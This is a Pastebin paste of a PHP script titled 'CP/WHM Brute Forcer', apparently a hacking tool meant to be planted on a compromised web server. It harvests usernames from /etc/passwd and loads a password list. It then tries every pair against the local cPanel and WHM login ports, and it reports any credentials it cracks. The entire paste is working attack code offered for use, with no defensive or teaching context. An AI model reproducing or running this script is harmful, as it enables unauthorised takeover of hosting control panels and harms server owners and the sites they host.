Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $head = '
- <html>
- <head>
- </script>
- <title>CP/WHM Brute Forcer</title>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <STYLE>
- body {
- font-family: Tahoma
- }
- tr {
- BORDER: dashed 1px #333;
- color: #FFF;
- }
- td {
- BORDER: dashed 1px #333;
- color: #FFF;
- }
- .table1 {
- BORDER: 0px Black;
- BACKGROUND-COLOR: Black;
- color: #FFF;
- }
- .td1 {
- BORDER: 0px;
- BORDER-COLOR: #333333;
- font: 7pt Verdana;
- color: Green;
- }
- .tr1 {
- BORDER: 0px;
- BORDER-COLOR: #333333;
- color: #FFF;
- }
- table {
- BORDER: dashed 1px #333;
- BORDER-COLOR: #333333;
- BACKGROUND-COLOR: Black;
- color: #FFF;
- }
- input {
- border : solid 3px ;
- border-color : #333;
- BACKGROUND-COLOR: white;
- font: 11pt Verdana;
- color: #333;
- }
- select {
- BORDER-RIGHT: Black 1px solid;
- BORDER-TOP: #DF0000 1px solid;
- BORDER-LEFT: #DF0000 1px solid;
- BORDER-BOTTOM: Black 1px solid;
- BORDER-color: #FFF;
- BACKGROUND-COLOR: Black;
- font: 8pt Verdana;
- color: Red;
- }
- submit {
- BORDER: buttonhighlight 2px outset;
- BACKGROUND-COLOR: Black;
- width: 30%;
- color: #FFF;
- }
- textarea {
- border : dashed 1px #333;
- BACKGROUND-COLOR: Black;
- font: Fixedsys bold;
- color: #999;
- }
- BODY {
- SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: White
- margin: 1px;
- color: white;
- background-color: Black;
- }
- .main {
- margin : -287px 0px 0px -490px;
- BORDER: dashed 1px #333;
- BORDER-COLOR: #333333;
- }
- .tt {
- background-color: Black;
- }
- A:link {
- COLOR: White; TEXT-DECORATION: none
- }
- A:visited {
- COLOR: White; TEXT-DECORATION: none
- }
- A:hover {
- color: white; TEXT-DECORATION: none
- }
- A:active {
- color: white; TEXT-DECORATION: none
- }
- </STYLE>
- <script language=\'javascript\'>
- function hide_div(id)
- {
- document.getElementById(id).style.display = \'none\';
- document.cookie=id+\'=0;\';
- }
- function show_div(id)
- {
- document.getElementById(id).style.display = \'block\';
- document.cookie=id+\'=1;\';
- }
- function change_divst(id)
- {
- if (document.getElementById(id).style.display == \'none\')
- show_div(id);
- else
- hide_div(id);
- }
- </script>'; ?>
- <html>
- <head>
- <link rel="SHORTCUT ICON" type="image/x-icon"http://i.imgur.com/zDgvv6l.jpg"><center>
- <a href="http://xyb3rd3vil-1337hax0r.blogspot.com/"> <img src="http://i.imgur.com/8fA7O8j.jpg" border="0"></center></a>
- <h2><center>CP/WHM Brute Forcer</center></h2>
- <?php
- echo $head ;
- echo '
- <table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
- </td></tr><tr><td
- width="100%" align="center" valign="top" rowspan="1"><font
- color="red" face="arial"size="1"><b>
- ';
- ?>
- <form method=post>
- <?php
- //if(isset($_POST['cpanel']))
- //{
- ?>
- <form method=post><div align=center><table>
- Brute=><select name="op"> <option name="op" value="cp">CPanel</option>
- <option name="op" value="whm">WHM</option></table><p>
- <textarea style="background:black;color:white" rows=20 cols=25 name=usernames ><?php $users=file("/etc/passwd");
- foreach($users as $user)
- {
- $str=explode(":",$user);
- echo $str[0]."\n";
- }
- ?></textarea><textarea style="background:black;color:white" rows=20 cols=25 name=passwords >
- <?php
- $d=getcwd()."/BT.txt";
- $pf=file($d);
- foreach($pf as $rt)
- {
- $str=explode('\n',$rt);
- echo trim($str[0])."\n";
- } ?></textarea><p>
- <input type=submit name=cpanelcracking value="Start"></form>
- <?php
- //}
- ?>
- <?php
- error_reporting(0);
- $connect_timeout=5;
- set_time_limit(0);
- $userl=$_POST['usernames'];
- $passl=$_POST['passwords'];
- $attack=$_POST['op'];
- $target = "localhost";
- if(isset($_POST['cpanelcracking']))
- {
- if($userl!=="" && $passl!=="")
- {
- if($_POST["op"]=="cp")
- {
- $cracked=$_POST['crack'];
- @fopen($cracked,'a');
- echo "Attacking CP....Wait till the end of process \n";
- }
- elseif($_POST["op"]=="whm")
- {
- @fopen($cracked,'a');
- echo "Attacking WHM....Wait till the end of process";
- }
- function cpanel($host,$user,$pass,$timeout){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- $data = curl_exec($ch);
- if ( curl_errno($ch) == 0 ){
- echo "<table width=100% ><tr><td align=center><b></font>
- <font color=Green size=2> Cracked </font>
- <font color=white size=2> Username is </font>
- <font color=green size=2> $user</font>
- <font color=white size=2> & </font>
- <font color=green size=2> Password is </font>
- <font color=white size=2> $pass </font>
- </font></b></td></tr></table>";
- }
- curl_close($ch);}
- $userlist=explode("\n",$userl);
- $passlist=explode("\n",$passl);
- if ($attack == "cp")
- {
- foreach ($userlist as $user) {
- echo "<div align=center><table width=80% ><tr><td align=center><b><font color=red size=1>Attacking user $user </font></td></tr></table>";
- $finaluser = trim($user);
- foreach ($passlist as $password ) {
- $finalpass = trim($password);
- cpanel($target,$finaluser,$finalpass,$connect_timeout);
- }
- }
- }
- function whm($host,$user,$pass,$timeout){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://$host:2086");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- $data = curl_exec($ch);
- if ( curl_errno($ch) == 0 ){
- echo "<table width=100% ><tr><td align=center><b></font>
- <font color=red size=2> Cracked </font>
- <font color=white size=2> Username is </font>
- <font color=green size=2> $user</font>
- <font color=red size=2> & </font>
- <font color=white size=2> Password is </font>
- <font color=green size=2> $pass </font>
- </font></b></td></tr></table>";
- }
- curl_close($ch);}
- $userlist=explode("\n",$userl);
- $passlist=explode("\n",$passl);
- if ($attack == "whm")
- {
- foreach ($userlist as $user) {
- echo "<div align=center><table width=80% ><tr><td align=center><b><font color=red size=1>user under attack is $user </font></td></tr></table>";
- $finaluser = trim($user);
- foreach ($passlist as $password ) {
- $finalpass = trim($password);
- whm($target,$finaluser,$finalpass,$connect_timeout);
- }
- }
- }
- }
- elseif($userl=="")
- {
- echo "you have left userlist field empty";
- }
- elseif($passl=="")
- {
- echo "Put passwords in paasword list field (Required)";
- }
- }
- ?>
Add Comment
Please, Sign In to add comment